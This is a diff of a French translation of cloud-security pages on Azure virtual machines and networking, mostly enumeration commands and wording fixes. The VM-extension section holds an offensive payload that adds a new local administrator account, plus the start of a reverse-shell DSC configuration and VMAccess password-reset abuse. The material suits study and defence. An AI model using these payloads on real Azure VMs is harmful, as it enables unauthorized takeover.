- VmAvailabilityMetric inférieur à 1
|
||||||
- **Moniteur de santé** : Par défaut, vérifie le protocole HTTP sur le port 80
|
- **Moniteur de santé** : Par défaut, vérifie le protocole HTTP sur le port 80
|
||||||
- **Verrous** : Cela permet de verrouiller une VM afin qu'elle ne puisse être que lue (**verrouillage en lecture seule**) ou qu'elle puisse être lue et mise à jour mais pas supprimée (**verrouillage ne peut pas être supprimé**).
|
- **Verrous** : Cela permet de verrouiller une VM afin qu'elle ne puisse être que lue (**Verrouillage en lecture seule**) ou qu'elle puisse être lue et mise à jour mais pas supprimée (**Verrouillage non supprimable**).
|
||||||
- La plupart des ressources liées aux VM **prennent également en charge les verrous** comme les disques, les instantanés...
|
- La plupart des ressources liées aux VM **prennent également en charge les verrous** comme les disques, les instantanés...
|
||||||
- Les verrous peuvent également être appliqués au **niveau du groupe de ressources et de l'abonnement**
|
- Les verrous peuvent également être appliqués au **niveau du groupe de ressources et de l'abonnement**
|
||||||
|
|
||||||
@@ -64,7 +64,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
|
|||||||
```
|
```
|
||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#tab name="PowerShell"}}
|
{{#tab name="PowerShell"}}
|
||||||
```powershell
|
```bash
|
||||||
# List all disks
|
# List all disks
|
||||||
Get-AzDisk
|
Get-AzDisk
|
||||||
|
|
||||||
@@ -76,7 +76,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
|||||||
|
|
||||||
## Images, Images de galerie & Points de restauration
|
## Images, Images de galerie & Points de restauration
|
||||||
|
|
||||||
Une **image de VM** est un modèle qui contient le système d'exploitation, les paramètres d'application et le système de fichiers nécessaires pour **créer une nouvelle machine virtuelle (VM)**. La différence entre une image et un instantané de disque est qu'un instantané de disque est une copie en lecture seule, à un moment donné, d'un seul disque géré, utilisé principalement pour la sauvegarde ou le dépannage, tandis qu'une image peut contenir **plusieurs disques et est conçue pour servir de modèle pour créer de nouvelles VMs**.\
|
Une **image de VM** est un modèle qui contient le système d'exploitation, les paramètres d'application et le système de fichiers nécessaires pour **créer une nouvelle machine virtuelle (VM)**. La différence entre une image et un instantané de disque est qu'un instantané de disque est une copie en lecture seule, à un moment donné, d'un seul disque géré, utilisée principalement pour la sauvegarde ou le dépannage, tandis qu'une image peut contenir **plusieurs disques et est conçue pour servir de modèle pour créer de nouvelles VMs**.\
|
||||||
Les images peuvent être gérées dans la **section Images** d'Azure ou à l'intérieur des **galeries de calcul Azure**, ce qui permet de générer des **versions** et de **partager** l'image entre locataires ou même de la rendre publique.
|
Les images peuvent être gérées dans la **section Images** d'Azure ou à l'intérieur des **galeries de calcul Azure**, ce qui permet de générer des **versions** et de **partager** l'image entre locataires ou même de la rendre publique.
|
||||||
|
|
||||||
Un **point de restauration** stocke la configuration de la VM et des **instantanés cohérents au moment donné** de toutes les disques gérés attachés à la VM. Il est lié à la VM et son but est de pouvoir restaurer cette VM à son état à ce moment précis.
|
Un **point de restauration** stocke la configuration de la VM et des **instantanés cohérents au moment donné** de toutes les disques gérés attachés à la VM. Il est lié à la VM et son but est de pouvoir restaurer cette VM à son état à ce moment précis.
|
||||||
@@ -116,7 +116,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
|
|||||||
```
|
```
|
||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#tab name="PowerShell"}}
|
{{#tab name="PowerShell"}}
|
||||||
```powershell
|
```bash
|
||||||
## List all galleries and get info about one
|
## List all galleries and get info about one
|
||||||
Get-AzGallery
|
Get-AzGallery
|
||||||
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
|
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
|
||||||
@@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
|||||||
|
|
||||||
## Azure Site Recovery
|
## Azure Site Recovery
|
||||||
|
|
||||||
D'après les [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) : Site Recovery aide à garantir la continuité des activités en maintenant les applications et charges de travail en fonctionnement pendant les pannes. Site Recovery **réplique les charges de travail** s'exécutant sur des machines physiques et virtuelles (VM) d'un site principal à un emplacement secondaire. Lorsqu'une panne se produit sur votre site principal, vous basculez vers un emplacement secondaire et accédez aux applications depuis là. Une fois que l'emplacement principal est de nouveau opérationnel, vous pouvez y revenir.
|
D'après les [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) : Site Recovery aide à garantir la continuité des activités en maintenant les applications et charges de travail en fonctionnement pendant les pannes. Site Recovery **réplique les charges de travail** s'exécutant sur des machines physiques et virtuelles (VM) d'un site principal vers un emplacement secondaire. Lorsqu'une panne se produit sur votre site principal, vous basculez vers un emplacement secondaire et accédez aux applications depuis là. Une fois que le site principal est de nouveau opérationnel, vous pouvez y revenir.
|
||||||
|
|
||||||
## Azure Bastion
|
## Azure Bastion
|
||||||
|
|
||||||
@@ -180,7 +180,7 @@ az network bastion rdp \
|
|||||||
```
|
```
|
||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#tab name="PowerShell"}}
|
{{#tab name="PowerShell"}}
|
||||||
```powershell
|
```bash
|
||||||
# List bastions
|
# List bastions
|
||||||
Get-AzBastion
|
Get-AzBastion
|
||||||
```
|
```
|
||||||
@@ -189,7 +189,7 @@ Get-AzBastion
|
|||||||
|
|
||||||
## Métadonnées
|
## Métadonnées
|
||||||
|
|
||||||
Le service de métadonnées d'instance Azure (IMDS) **fournit des informations sur les instances de machines virtuelles en cours d'exécution** pour aider à leur gestion et configuration. Il offre des détails tels que le SKU, le stockage, les configurations réseau et des informations sur les événements de maintenance à venir via **l'API REST disponible à l'adresse IP non routable 169.254.169.254**, qui est accessible uniquement depuis la VM. La communication entre la VM et l'IMDS reste à l'intérieur de l'hôte, garantissant un accès sécurisé. Lors de l'interrogation de l'IMDS, les clients HTTP à l'intérieur de la VM doivent contourner les proxies web pour assurer une communication appropriée.
|
Le service de métadonnées d'instance Azure (IMDS) **fournit des informations sur les instances de machines virtuelles en cours d'exécution** pour aider à leur gestion et configuration. Il offre des détails tels que le SKU, le stockage, les configurations réseau et des informations sur les événements de maintenance à venir via **l'API REST disponible à l'adresse IP non routable 169.254.169.254**, qui est accessible uniquement depuis l'intérieur de la VM. La communication entre la VM et l'IMDS reste à l'intérieur de l'hôte, garantissant un accès sécurisé. Lors de l'interrogation de l'IMDS, les clients HTTP à l'intérieur de la VM doivent contourner les proxies web pour assurer une communication appropriée.
|
||||||
|
|
||||||
De plus, pour contacter le point de terminaison des métadonnées, la requête HTTP doit avoir l'en-tête **`Metadata: true`** et ne doit pas avoir l'en-tête **`X-Forwarded-For`**.
|
De plus, pour contacter le point de terminaison des métadonnées, la requête HTTP doit avoir l'en-tête **`Metadata: true`** et ne doit pas avoir l'en-tête **`X-Forwarded-For`**.
|
||||||
|
|
||||||
@@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
|
|||||||
az vm run-command list --output table
|
az vm run-command list --output table
|
||||||
```
|
```
|
||||||
|
|
||||||
```powershell
|
```bash
|
||||||
# Get readable VMs
|
# Get readable VMs
|
||||||
Get-AzVM | fl
|
Get-AzVM | fl
|
||||||
# Lis running VMs
|
# Lis running VMs
|
||||||
@@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#tab name="PowerShell" }}
|
{{#tab name="PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# It takes some mins to run
|
# It takes some mins to run
|
||||||
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
|
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
|
||||||
```
|
```
|
||||||
@@ -523,7 +523,7 @@ az vm extension set \
|
|||||||
Vous pouvez également exécuter d'autres charges utiles comme : `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
Vous pouvez également exécuter d'autres charges utiles comme : `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||||
|
|
||||||
- Réinitialiser le mot de passe en utilisant l'extension VMAccess
|
- Réinitialiser le mot de passe en utilisant l'extension VMAccess
|
||||||
```powershell
|
```bash
|
||||||
# Run VMAccess extension to reset the password
|
# Run VMAccess extension to reset the password
|
||||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||||
@@ -539,8 +539,8 @@ L'autorisation requise est toujours **`Microsoft.Compute/virtualMachines/extensi
|
|||||||
|
|
||||||
<summary>Extension VMAccess</summary>
|
<summary>Extension VMAccess</summary>
|
||||||
|
|
||||||
Cette extension permet de modifier le mot de passe (ou de créer un mot de passe s'il n'existe pas) des utilisateurs à l'intérieur des VM Windows.
|
Cette extension permet de modifier le mot de passe (ou de créer s'il n'existe pas) des utilisateurs à l'intérieur des VM Windows.
|
||||||
```powershell
|
```bash
|
||||||
# Run VMAccess extension to reset the password
|
# Run VMAccess extension to reset the password
|
||||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||||
@@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
|||||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||||
|
|
||||||
C'est une **extension VM** qui appartient à Microsoft et qui utilise PowerShell DSC pour gérer la configuration des VMs Windows Azure. Par conséquent, elle peut être utilisée pour **exécuter des commandes arbitraires** dans les VMs Windows via cette extension :
|
C'est une **extension VM** qui appartient à Microsoft et qui utilise PowerShell DSC pour gérer la configuration des VMs Windows Azure. Par conséquent, elle peut être utilisée pour **exécuter des commandes arbitraires** dans les VMs Windows via cette extension :
|
||||||
```powershell
|
```bash
|
||||||
# Content of revShell.ps1
|
# Content of revShell.ps1
|
||||||
Configuration RevShellConfig {
|
Configuration RevShellConfig {
|
||||||
Node localhost {
|
Node localhost {
|
||||||
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
|
|||||||
|
|
||||||
<summary>Hybrid Runbook Worker</summary>
|
<summary>Hybrid Runbook Worker</summary>
|
||||||
|
|
||||||
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-automation-account/index.html).
|
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service Automation Accounts](../az-automation-account/index.html).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
@@ -728,9 +728,9 @@ Ceci est **des données persistantes** qui peuvent être récupérées à partir
|
|||||||
Il est possible de passer certaines données à la VM qui seront stockées dans des chemins attendus :
|
Il est possible de passer certaines données à la VM qui seront stockées dans des chemins attendus :
|
||||||
|
|
||||||
- Dans **Windows**, les données personnalisées sont placées dans `%SYSTEMDRIVE%\AzureData\CustomData.bin` en tant que fichier binaire et ne sont pas traitées.
|
- Dans **Windows**, les données personnalisées sont placées dans `%SYSTEMDRIVE%\AzureData\CustomData.bin` en tant que fichier binaire et ne sont pas traitées.
|
||||||
- Dans **Linux**, elles étaient stockées dans `/var/lib/waagent/ovf-env.xml` et maintenant elles sont stockées dans `/var/lib/waagent/CustomData/ovf-env.xml`
|
- Dans **Linux**, elles étaient stockées dans `/var/lib/waagent/ovf-env.xml` et sont maintenant stockées dans `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||||
- **Agent Linux** : Il ne traite pas les données personnalisées par défaut, une image personnalisée avec les données activées est nécessaire
|
- **Agent Linux** : Il ne traite pas les données personnalisées par défaut, une image personnalisée avec les données activées est nécessaire
|
||||||
- **cloud-init :** Par défaut, il traite les données personnalisées et ces données peuvent être au format [**plusieurs formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Il pourrait exécuter un script facilement en envoyant juste le script dans les données personnalisées.
|
- **cloud-init :** Par défaut, il traite les données personnalisées et ces données peuvent être dans [**plusieurs formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Il pourrait exécuter un script facilement en envoyant simplement le script dans les données personnalisées.
|
||||||
- J'ai essayé que les deux Ubuntu et Debian exécutent le script que vous mettez ici.
|
- J'ai essayé que les deux Ubuntu et Debian exécutent le script que vous mettez ici.
|
||||||
- Il n'est également pas nécessaire d'activer les données utilisateur pour que cela soit exécuté.
|
- Il n'est également pas nécessaire d'activer les données utilisateur pour que cela soit exécuté.
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#tab name="PowerShell" }}
|
{{#tab name="PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List VNets
|
# List VNets
|
||||||
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
|
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
|
||||||
|
|
||||||
@@ -75,7 +75,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#tab name="PowerShell" }}
|
{{#tab name="PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List NSGs
|
# List NSGs
|
||||||
Get-AzNetworkSecurityGroup | Select-Object Name, Location
|
Get-AzNetworkSecurityGroup | Select-Object Name, Location
|
||||||
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
|
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
|
||||||
@@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
|
|||||||
|
|
||||||
## Azure Firewall
|
## Azure Firewall
|
||||||
|
|
||||||
Azure Firewall est un **service de sécurité réseau géré** dans Azure qui protège les ressources cloud en inspectant et en contrôlant le trafic. C'est un **pare-feu à état** qui filtre le trafic en fonction de règles pour les Couches 3 à 7, prenant en charge la communication à la fois **au sein d'Azure** (trafic est-ouest) et **vers/depuis des réseaux externes** (trafic nord-sud). Déployé au niveau du **réseau virtuel (VNet)**, il fournit une protection centralisée pour tous les sous-réseaux dans le VNet. Azure Firewall s'adapte automatiquement pour gérer les demandes de trafic et garantit une haute disponibilité sans nécessiter de configuration manuelle.
|
Azure Firewall est un **service de sécurité réseau géré** dans Azure qui protège les ressources cloud en inspectant et en contrôlant le trafic. C'est un **pare-feu stateful** qui filtre le trafic en fonction de règles pour les Couches 3 à 7, prenant en charge la communication à la fois **au sein d'Azure** (trafic est-ouest) et **vers/depuis des réseaux externes** (trafic nord-sud). Déployé au niveau du **réseau virtuel (VNet)**, il fournit une protection centralisée pour tous les sous-réseaux dans le VNet. Azure Firewall s'adapte automatiquement pour gérer les demandes de trafic et garantit une haute disponibilité sans nécessiter de configuration manuelle.
|
||||||
|
|
||||||
Il est disponible en trois SKUs—**Basique**, **Standard** et **Premium**, chacun adapté à des besoins spécifiques des clients :
|
Il est disponible en trois SKUs—**Basic**, **Standard** et **Premium**, chacun adapté à des besoins spécifiques des clients :
|
||||||
|
|
||||||
| **Cas d'utilisation recommandé** | Petites/Moyennes Entreprises (PME) avec des besoins limités | Utilisation générale en entreprise, filtrage Couches 3–7 | Environnements hautement sensibles (par exemple, traitement des paiements) |
|
| **Cas d'utilisation recommandé** | Petites/Moyennes Entreprises (PME) avec des besoins limités | Utilisation générale en entreprise, filtrage Couches 3–7 | Environnements hautement sensibles (par exemple, traitement des paiements) |
|
||||||
| -------------------------------- | ----------------------------------------------------------- | ------------------------------------------------------- | --------------------------------------------------------- |
|
| ------------------------------- | ---------------------------------------------------------- | ------------------------------------------------------ | --------------------------------------------------------- |
|
||||||
| **Performance** | Jusqu'à 250 Mbps de débit | Jusqu'à 30 Gbps de débit | Jusqu'à 100 Gbps de débit |
|
| **Performance** | Jusqu'à 250 Mbps de débit | Jusqu'à 30 Gbps de débit | Jusqu'à 100 Gbps de débit |
|
||||||
| **Intelligence sur les menaces**| Alertes uniquement | Alertes et blocage (IP/domaines malveillants) | Alertes et blocage (intelligence sur les menaces avancées)|
|
| **Intelligence sur les menaces**| Alertes uniquement | Alertes et blocage (IP/domaines malveillants) | Alertes et blocage (intelligence sur les menaces avancées) |
|
||||||
| **Filtrage L3–L7** | Filtrage de base | Filtrage à état à travers les protocoles | Filtrage à état avec inspection avancée |
|
| **Filtrage L3–L7** | Filtrage de base | Filtrage stateful à travers les protocoles | Filtrage stateful avec inspection avancée |
|
||||||
| **Protection avancée contre les menaces** | Non disponible | Filtrage basé sur l'intelligence des menaces | Inclut le Système de Détection et de Prévention d'Intrusion (IDPS) |
|
| **Protection avancée contre les menaces** | Non disponible | Filtrage basé sur l'intelligence des menaces | Inclut un système de détection et de prévention des intrusions (IDPS) |
|
||||||
| **Inspection TLS** | Non disponible | Non disponible | Prend en charge la terminaison TLS entrante/sortante |
|
| **Inspection TLS** | Non disponible | Non disponible | Prend en charge la terminaison TLS entrante/sortante |
|
||||||
| **Disponibilité** | Backend fixe (2 VMs) | Autoscaling | Autoscaling |
|
| **Disponibilité** | Backend fixe (2 VMs) | Autoscaling | Autoscaling |
|
||||||
| **Facilité de gestion** | Contrôles de base | Géré via le Gestionnaire de Pare-feu | Géré via le Gestionnaire de Pare-feu |
|
| **Facilité de gestion** | Contrôles de base | Géré via le Gestionnaire de pare-feu | Géré via le Gestionnaire de pare-feu |
|
||||||
|
|
||||||
### Enumeration
|
### Enumeration
|
||||||
|
|
||||||
@@ -124,7 +124,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#tab name="PowerShell" }}
|
{{#tab name="PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List Azure Firewalls
|
# List Azure Firewalls
|
||||||
Get-AzFirewall
|
Get-AzFirewall
|
||||||
|
|
||||||
@@ -159,7 +159,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#tab name="PowerShell" }}
|
{{#tab name="PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List Route Tables
|
# List Route Tables
|
||||||
Get-AzRouteTable
|
Get-AzRouteTable
|
||||||
|
|
||||||
@@ -173,14 +173,14 @@ Get-AzRouteTable
|
|||||||
|
|
||||||
Azure Private Link est un service dans Azure qui **permet un accès privé aux services Azure** en garantissant que **le trafic entre votre réseau virtuel Azure (VNet) et le service circule entièrement au sein du réseau backbone de Microsoft Azure**. Cela intègre efficacement le service dans votre VNet. Cette configuration améliore la sécurité en ne rendant pas les données accessibles sur Internet public.
|
Azure Private Link est un service dans Azure qui **permet un accès privé aux services Azure** en garantissant que **le trafic entre votre réseau virtuel Azure (VNet) et le service circule entièrement au sein du réseau backbone de Microsoft Azure**. Cela intègre efficacement le service dans votre VNet. Cette configuration améliore la sécurité en ne rendant pas les données accessibles sur Internet public.
|
||||||
|
|
||||||
Private Link peut être utilisé avec divers services Azure, comme Azure Storage, Azure SQL Database et des services personnalisés partagés via Private Link. Il fournit un moyen sécurisé de consommer des services depuis votre propre VNet ou même depuis différentes souscriptions Azure.
|
Private Link peut être utilisé avec divers services Azure, comme Azure Storage, Azure SQL Database, et des services personnalisés partagés via Private Link. Il fournit un moyen sécurisé de consommer des services depuis votre propre VNet ou même depuis différentes souscriptions Azure.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Les NSG ne s'appliquent pas aux points de terminaison privés, ce qui signifie clairement que l'association d'un NSG avec un sous-réseau contenant le Private Link n'aura aucun effet.
|
> Les NSG ne s'appliquent pas aux points de terminaison privés, ce qui signifie clairement qu'associer un NSG à un sous-réseau contenant le Private Link n'aura aucun effet.
|
||||||
|
|
||||||
**Exemple :**
|
**Exemple :**
|
||||||
|
|
||||||
Considérez un scénario où vous avez une **base de données Azure SQL à laquelle vous souhaitez accéder de manière sécurisée depuis votre VNet**. Normalement, cela pourrait impliquer de traverser Internet public. Avec Private Link, vous pouvez créer un **point de terminaison privé dans votre VNet** qui se connecte directement au service Azure SQL Database. Ce point de terminaison fait apparaître la base de données comme si elle faisait partie de votre propre VNet, accessible via une adresse IP privée, garantissant ainsi un accès sécurisé et privé.
|
Considérez un scénario où vous avez une **base de données Azure SQL que vous souhaitez accéder de manière sécurisée depuis votre VNet**. Normalement, cela pourrait impliquer de traverser Internet public. Avec Private Link, vous pouvez créer un **point de terminaison privé dans votre VNet** qui se connecte directement au service de base de données Azure SQL. Ce point de terminaison fait apparaître la base de données comme si elle faisait partie de votre propre VNet, accessible via une adresse IP privée, garantissant ainsi un accès sécurisé et privé.
|
||||||
|
|
||||||
### **Enumeration**
|
### **Enumeration**
|
||||||
|
|
||||||
@@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#tab name="PowerShell" }}
|
{{#tab name="PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List Private Link Services
|
# List Private Link Services
|
||||||
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
|
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
|
||||||
|
|
||||||
@@ -207,7 +207,7 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
|
|||||||
|
|
||||||
## Points de terminaison de service Azure
|
## Points de terminaison de service Azure
|
||||||
|
|
||||||
Les points de terminaison de service Azure étendent l'espace d'adresses privées de votre réseau virtuel et l'identité de votre VNet aux services Azure via une connexion directe. En activant les points de terminaison de service, **les ressources de votre VNet peuvent se connecter en toute sécurité aux services Azure**, comme Azure Storage et Azure SQL Database, en utilisant le réseau de base d'Azure. Cela garantit que le **trafic du VNet vers le service Azure reste au sein du réseau Azure**, offrant un chemin plus sécurisé et fiable.
|
Les points de terminaison de service Azure étendent l'espace d'adresses privées de votre réseau virtuel et l'identité de votre VNet aux services Azure via une connexion directe. En activant les points de terminaison de service, **les ressources de votre VNet peuvent se connecter en toute sécurité aux services Azure**, comme Azure Storage et Azure SQL Database, en utilisant le réseau backbone d'Azure. Cela garantit que le **trafic du VNet vers le service Azure reste au sein du réseau Azure**, offrant un chemin plus sécurisé et fiable.
|
||||||
|
|
||||||
**Exemple :**
|
**Exemple :**
|
||||||
|
|
||||||
@@ -226,7 +226,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#tab name="PowerShell" }}
|
{{#tab name="PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List Virtual Networks with Service Endpoints
|
# List Virtual Networks with Service Endpoints
|
||||||
Get-AzVirtualNetwork
|
Get-AzVirtualNetwork
|
||||||
|
|
||||||
@@ -238,7 +238,7 @@ Get-AzVirtualNetwork
|
|||||||
|
|
||||||
### Différences entre les points de terminaison de service et les liens privés
|
### Différences entre les points de terminaison de service et les liens privés
|
||||||
|
|
||||||
Microsoft recommande d'utiliser les Liens Privés dans les [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints) :
|
Microsoft recommande d'utiliser les Liens Privés dans les [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
|
||||||
|
|
||||||
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
@@ -254,17 +254,17 @@ Microsoft recommande d'utiliser les Liens Privés dans les [**docs**](https://le
|
|||||||
|
|
||||||
- Le Lien Privé mappe les services Azure dans votre VNet via un point de terminaison privé, qui est une interface réseau avec une adresse IP privée au sein de votre VNet.
|
- Le Lien Privé mappe les services Azure dans votre VNet via un point de terminaison privé, qui est une interface réseau avec une adresse IP privée au sein de votre VNet.
|
||||||
- Le service Azure est accessible en utilisant cette adresse IP privée, donnant l'impression qu'il fait partie de votre réseau.
|
- Le service Azure est accessible en utilisant cette adresse IP privée, donnant l'impression qu'il fait partie de votre réseau.
|
||||||
- Les services connectés via le Lien Privé ne peuvent être accessibles que depuis votre VNet ou des réseaux connectés ; il n'y a pas d'accès à internet public au service.
|
- Les services connectés via le Lien Privé ne peuvent être accessibles que depuis votre VNet ou des réseaux connectés ; il n'y a pas d'accès à l'internet public pour le service.
|
||||||
- Il permet une connexion sécurisée aux services Azure ou à vos propres services hébergés dans Azure, ainsi qu'une connexion aux services partagés par d'autres.
|
- Il permet une connexion sécurisée aux services Azure ou à vos propres services hébergés dans Azure, ainsi qu'une connexion aux services partagés par d'autres.
|
||||||
- Il fournit un contrôle d'accès plus granulaire via un point de terminaison privé dans votre VNet, par opposition à un contrôle d'accès plus large au niveau du sous-réseau avec des points de terminaison de service.
|
- Il fournit un contrôle d'accès plus granulaire via un point de terminaison privé dans votre VNet, par opposition à un contrôle d'accès plus large au niveau du sous-réseau avec des points de terminaison de service.
|
||||||
|
|
||||||
En résumé, bien que les Points de Terminaison de Service et les Liens Privés fournissent une connectivité sécurisée aux services Azure, **les Liens Privés offrent un niveau d'isolation et de sécurité supérieur en garantissant que les services sont accessibles de manière privée sans les exposer à l'internet public**. Les Points de Terminaison de Service, en revanche, sont plus faciles à configurer pour des cas généraux où un accès simple et sécurisé aux services Azure est requis sans avoir besoin d'une IP privée dans le VNet.
|
En résumé, bien que les Points de Terminaison de Service et les Liens Privés offrent une connectivité sécurisée aux services Azure, **les Liens Privés offrent un niveau d'isolation et de sécurité supérieur en garantissant que les services sont accessibles de manière privée sans les exposer à l'internet public**. Les Points de Terminaison de Service, en revanche, sont plus faciles à configurer pour des cas généraux où un accès simple et sécurisé aux services Azure est requis sans avoir besoin d'une IP privée dans le VNet.
|
||||||
|
|
||||||
## Azure Front Door (AFD) & AFD WAF
|
## Azure Front Door (AFD) & AFD WAF
|
||||||
|
|
||||||
**Azure Front Door** est un point d'entrée évolutif et sécurisé pour **une livraison rapide** de vos applications web mondiales. Il **combine** divers services tels que l'**équilibrage de charge mondial, l'accélération de site, le déchargement SSL et les capacités de pare-feu d'application web (WAF)** en un seul service. Azure Front Door fournit un routage intelligent basé sur la **localisation de bord la plus proche de l'utilisateur**, garantissant des performances et une fiabilité optimales. De plus, il offre un routage basé sur l'URL, l'hébergement de plusieurs sites, l'affinité de session et la sécurité au niveau de l'application.
|
**Azure Front Door** est un point d'entrée évolutif et sécurisé pour **une livraison rapide** de vos applications web mondiales. Il **combine** divers services tels que l'**équilibrage de charge mondial, l'accélération de site, le déchargement SSL et les capacités de pare-feu d'application web (WAF)** en un seul service. Azure Front Door fournit un routage intelligent basé sur la **localisation de bord la plus proche de l'utilisateur**, garantissant des performances et une fiabilité optimales. De plus, il offre un routage basé sur l'URL, l'hébergement de plusieurs sites, l'affinité de session et la sécurité au niveau de l'application.
|
||||||
|
|
||||||
**Azure Front Door WAF** est conçu pour **protéger les applications web contre les attaques basées sur le web** sans modification du code de back-end. Il inclut des règles personnalisées et des ensembles de règles gérées pour se protéger contre des menaces telles que l'injection SQL, le cross-site scripting et d'autres attaques courantes.
|
**Azure Front Door WAF** est conçu pour **protéger les applications web contre les attaques basées sur le web** sans modification du code de back-end. Il inclut des règles personnalisées et des ensembles de règles gérées pour se protéger contre des menaces telles que l'injection SQL, le scripting intersite et d'autres attaques courantes.
|
||||||
|
|
||||||
**Exemple :**
|
**Exemple :**
|
||||||
|
|
||||||
@@ -283,7 +283,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#tab name="PowerShell" }}
|
{{#tab name="PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List Azure Front Door Instances
|
# List Azure Front Door Instances
|
||||||
Get-AzFrontDoor
|
Get-AzFrontDoor
|
||||||
|
|
||||||
@@ -295,7 +295,7 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
|
|||||||
|
|
||||||
## Azure Application Gateway et Azure Application Gateway WAF
|
## Azure Application Gateway et Azure Application Gateway WAF
|
||||||
|
|
||||||
